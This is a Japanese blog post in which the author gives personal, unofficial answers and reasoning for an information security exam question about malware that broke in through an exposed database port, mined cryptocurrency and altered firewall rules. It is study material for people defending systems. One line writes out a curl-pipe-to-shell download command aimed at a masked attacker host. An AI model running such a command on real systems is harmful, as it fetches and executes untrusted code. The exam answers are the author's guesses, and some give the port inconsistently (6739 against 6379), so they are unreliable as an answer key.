昨日 2019年10月20日(日) 実施の情報処理安全確保支援士試験(SC)。
午後Ⅱ 。記述式。問1、問2 から1つ選んで回答する。
※ TACの解答
https://www.tac-school.co.jp/kaitousokuhou/downloads/16_R1F_SC解答例.pdf
※ ITECの解答
https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm1_kaito_n.pdf
https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm2_kaito_n.pdf
問1を選択した。
解答速報を書く(あくまで個人の回答。正解かは分からない)。
<令和元年度 秋期 午後Ⅱ 問1 解答例>
設問1
(1)S社開発用LANのPCからDBMS-Rを通してOSコマンドを実行することによりマルウェアXの活動が妨げられ暗号資産の採掘用プログラムが実行できない(75字以内)
(2)
α カ top
β ク ライブラリ
γ ア /proc/123
(3)会員情報はサービスCのみに保存されておりマルウェアXが侵入したDBMS-Rには保存されていないうえ、Xの通信は他のサーバへの侵入と演算結果の送信にとどまり他の情報は送っておらず他にSSH接続もないから(100字以内)
設問2
(1)
対策1:ア、エ
対策2:ア
対策3:ア、イ、エ
対策4:ア、ウ、エ、オ
(2)
あ 22/tcp
い 6739/tcp
う a2.b2.c2.d2
(3)
a curl
b su iptablesが正解かも
(4)
え オ ハッシュ値
お カ 比較
か キ 変更
設問3
(1)
ア CIS Benchmarks
ウ OWASP ASVS
(2)自社で運用している実行環境を整理する。ソフトウェア、システム設定、システム情報を把握し脆弱性情報収集の対象を明確に絞る(60字以内)
(3)
き ア CVSSによる脆弱性アセスメント
く エ ストレステスト
(4)
け 作成
こ エンジニア
設問4
c オ コンテナエンジン
d ア アプリ
e エ コンテナ
f カ 変更の履歴
g キ 本番
h ウ 検証
<思考のメモ>
全般
・S社は(従業員120名もいるのに)エンジニアは5名だけで、かつその5名が開発と運用まで行っている。
・DevOpsなんて聞こえはいいが…「いや社畜か」と突っ込みたくなる。せめて運用部門かサポートデスク作ればいいのに。
・開発チームの使っているツールは
外部クラウドサービスを利用している → W社データセンター(AWSとか)
開発プラットフォームを使いバージョン管理している → githubとか
テキスト共有サービスを使って開発情報をやりとり → Slackとか
監視ツールの導入を容易にするためにコンテナ技術 → dockerとか
だろう。
S社のサービス
・「S社のサービスは顧客からの評判もよく登録会員数は2,000社を超えている」とあるから、W社データセンターの上に敷いたdocker基盤のうえにWebサービスがあって、2,000社もの企業が抱える顧客がアクセスしてくる。
・図1でいうとインターネットからサーバA(a1.b1.c1.d1)にアクセスが来る。
FWのルール
・ということはインターネットからa1.b1.c1.d1へのアクセスは遮断しちゃダメ(サービスが止まってしまうから)。つまりポート80(HTTP)とポート443(HTTPS)は遮断しちゃダメ。
・つまりこのルールだと項番1と2は変えられないということになる。
データベースの構成
・DBを確認すると
アプリQのためのデータベース → DBMSサービスC
アプリDのためのデータベース → DBMS-R (6379/tcp)を新たに稼働
・ということは、上の表1にある項番3でインターネットに完全にオープンにしちゃっているDBMS-R(6379/tcp)が明らかに危険だろうと想像がつく。
・問題文の4ページまで読んだ時点で、ここまでは読み取れる。
インシデントの発生
・5ページには「サーバAからデータセンター内の他のサーバを探索するアクセス」があったと言っている。
・つまりサーバAから発信する通信があったと言っている。これもいずれFWで遮断しなければいけないだろうと思って読み進める。
マルウェアのXの挙動(FWのルール変更)
・6ページの図3の3にあるとおり、マルウェアXはiptablesを変更してポート6379へのパケットを破棄するルールを追加している。
・そもそもポート6379はなぜ開けたのだったか。理由は4ページにある。
「S社開発用LANのPCから、DBMS-Rのデータベースを参照・更新したり、ネットワーク経由で外部からDBMS-Rを通じてOSコマンドを実行する機能…を利用したりするため」だ。
・つまり、S社開発部がDBMS-Rのポート6379を通じてOSコマンドを発行できるということ。
・だから例えば、マルウェアに気づいた開発部員がマルウェアプロセスをkillしたり、不正通信を遮断するなどの対策を打てば、攻撃者の意図に反してマルウェアの活動が妨げられ暗号資産の採掘用プログラムが実行できない(設問1の(1))状況に陥ってしまいかねない。
・だからマルウェアは、DBMS-Rに侵入できた直後に、空いていたポートを閉じてそれ以上は誰もログインしてこないように通路を塞ぐ動作をしたと思われる。
・一連のマルウェアXの動作の流れを想像すると
はじめにポートスキャン(nmapとかだろう)して
6379/tcpが空いているのを発見したので
脆弱性を突く攻撃をした(metasploitとか?)
結果、
DBMS-Rの権限を乗っ取れたので
curlでxxx.shをダウンロード(6ページ3行目)し
cronの定期実行に仕込み(6ページ4行目)し
iptablesの設定を変えてポート6379を閉じたうえで
さらに他のサーバへの侵入を試みた(6ページ図3の6)
結果、
「サーバを探索するアクセス」が観測された(5ページ2行目)
DBMS-Rを実行できるユーザーの権限について
・マルウェアXが侵入できたのは「DBMS-Rの脆弱性を悪用して認証をバイパス(6ページ1行目)」たためであって
・つまりDBMS-Rユーザーとしてログインしているにとどまる(rootユーザーではない)。
・DBユーザーには管理権限なんて持たせないのが鉄則。
・だけど今回、侵入成功後のマルウェアXがiptablesコマンド(8ページbの解答)によって図2の(ウ)を実行できているということは、S社では(鉄則に反して)DBMS-RユーザーはOSの管理権限まで持たせてしまっていたということが分かる。
・iptablesは(管理者泣かせなくらい)管理権限を求めてくるコマンドなので
min117.hatenablog.com
それが実行できたということはroot同等の権限が与えられていたのだろうから。
・こういうことがないようにDBMS-Rを必要最小限の権限にして稼働させる(8ページのPさん)必要がある。
※ なお今回の解答にあたって「脆弱性利用してDBMS-Rに接続したあと、suコマンドでDBMS-Rのユーザーになった」と思い込んでしまったが、そんなことは問題文のどこにも無かった。
ルートキットの動作
・6ページは易しい問題だったと思う。選択式だったし。
α カ top
β ク ライブラリ
γ ア /proc/123
・プロセス監視ツールはtopコマンド(普通はps auxだと思うけど…)
・ライブラリ関数を通じてディレクトリ/proc/123内のファイルにアクセスすればいい。
・γに入る解答がア(/proc/123)かウ(proc)か迷うけど、/proc配下にあるプロセス番号はディレクトリだという点は見落としがちなので注意がいると思う。
・ちなみにメモリ情報にあたる/proc/meminfoはファイルなので。比較で覚える。
対策1、対策2について
・対策1「サーバAへのアクセスを、利用が想定されるIPアドレスだけに固定する」とあるが
・この「想定されるIPアドレス」という言い方に含みがある。これを正確に把握するのが解答の肝だと思う。
もう一度ネットワーク構成を見てみると
サーバAに接続するのは
アプリ利用者 HTTP(80/tcp)またはHTTPS(443/tcp)
S社の開発者 SSH(22/tcp)またはDBMS-R(6379/tcp)
であって、当然のことながらアプリ利用者の通信は制限しちゃダメ。
・だから、サーバAへのアクセスが想定されるIPアドレスとは利用者の通信のほうではなくて開発者の使うa2.b2.c2.d2のことであって、使うポートは22/tcpと6379/tcpということになる。
・なので、対策としては
「サーバAのポート22/tcp及び6379/tcpへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をa2.b2.c2.d2に限定すべきでした」となる。
あ 22/tcp
い 6739/tcp
う a2.b2.c2.d2
対策3について
対策1と2が
サーバAへのアクセス制御 だったのに対して
対策3は
サーバAからのアクセス制御 というところが大きく違う。
・そもそも今回の感染が「ほかのサーバを探索するアクセスを繰り返している」(5ページ2行目)との連絡から発覚したという事実からも分かるとおり、サーバAからはマルウェアXによる通信が外に出ていく。
・例えば「サーバAから、ポート6379/tcpが開放されているほかのサーバへの侵入を試みる通信(6ページ上の6)が出ていく。ポートスキャンだからおそらくnmapを使ったスキャンとかだろう。
・さらに「サーバAに侵入の際及び感染後にcurlコマンド(P8のaの解答)によってファイルをダウンロードしたことを考えると、サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止すべき」(P8の上4行)という対策になる。
curl -sf https://▲▲▲▲/attackers-url/xxx.sh | sh -s
・これを防ぐFWの設定は具体的にどうやるかも理解しておく。
・項番5にある「全て 全て 全て 破棄」がそれ。
・これによって「サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止」されることになる。
設問2の(1)
・難しかった。日本語の受け取り方で解答が変わってしまいそうな気がする。
・事実、受験予備校TACとITECで解答が違ってしまっている。
・TACの解答はこれ。
・ITECの解答はこれ。
・こういう、日本語の受け取り方で解答が変わってしまうようないわゆる悪問は、出題者が未熟なのかもしれないが、たまにある。
・今回はこれ、採点が付かないんじゃないか(全員正解?)と想像する。
・改めて問題文を見てみる。
(1) 表2 中の対策1〜4は、図2の3の(ア)〜(オ)のどの機能への対策となるか。それぞれ該当する機能を全て選び、記号で答えよ。
・表2中の対策1〜4はこれ。
・図2のア〜オはこれ。
対策それぞれについて問題文に当てはめて日本語を組み立てしてみる。
※ 受験予備校の解答とは違うけど(自分なりに考えて出した答えだし)思考したそのまま残す。
対策1
「サーバAへのアクセスを、利用が想定されるIPアドレスだけに限定する」は
(ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?
→ YES。対策となる。
→ だってマルウェアXは今回サーバXへのアクセスを成功して侵入し採掘用プログラムをダウンロードしたのだから。
→ それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。
(イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?
→ No。対策とならない。
→ だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。
(ウ)サーバのFWルールを変更する機能への対策となるか?
→ YES。対策となる。
→ だってマルウェアXは今回サーバXへのアクセスを成功して侵入しFWのルールを変更してしまったのだから。
→ それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。
(エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?
→ No。対策とならない。
→ だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからのルートキットYをダウンロードする行為を止められるわけではないから。
(オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?
→ No。対策とならない。
→ だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの暗号の痕跡が含まれるログファイルを削除する行為を止められるわけではないから。
対策2
「サービスで利用するポート番号をデフォルト以外の値に変更する」は
(ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?
→ YES。対策となる。
→ だってマルウェアXは今回サーバXへのアクセスをポート6739を通じて成功し採掘用プログラムをダウンロードしたのだから。
→ それを繰り返さないように、サーバAへで稼働するDBMS-Rのポート番号を6739/tcp以外に変更してマルウェアXの侵入を防ぐのは対策になると思う。
(イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?
→ No。対策とならない。
→ だってサーバAのポート番号を変更したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。
(ウ)サーバのFWルールを変更する機能への対策となるか?
→ No。対策とならない。
→ だってサーバAのポート番号を変更したところで、感染してしまったサーバAで稼働するFWのルール変更を止められるわけではないから。
(エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?
→ No。対策とならない。
→ だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアがルートキットYをダウンロードしインストールする行為を止められるわけではないから。
(オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?
→ No。対策とならない。
→ だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアが暗号の痕跡が含まれるログファイルを削除しようとする行為を止められるわけではないから。
対策3
「SSH、HTTP及びHTTPSについて、サーバAからの外部へのアクセスを禁止する」は
(ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(ウ)サーバのFWルールを変更する機能への対策となるか?
→ No。対策とならない。
→ だって…から。
(エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?
→ No。対策とならない。
→ だって…から。
対策4
「アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる」は
(ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?
→ No。対策とならない。
→ だって…から。
(ウ)サーバのFWルールを変更する機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?
→ YES。対策となる。
→ だって…から。
(オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?
→ No。対策とならない。
→ だって…から。
続き
・後ほど書く。
単語(設問3)
なお、午後Ⅰはこちら。
午後Ⅰ 問2
午後Ⅰ 問3
午前Ⅱ はこちら
以下問題文。
他の人の回答例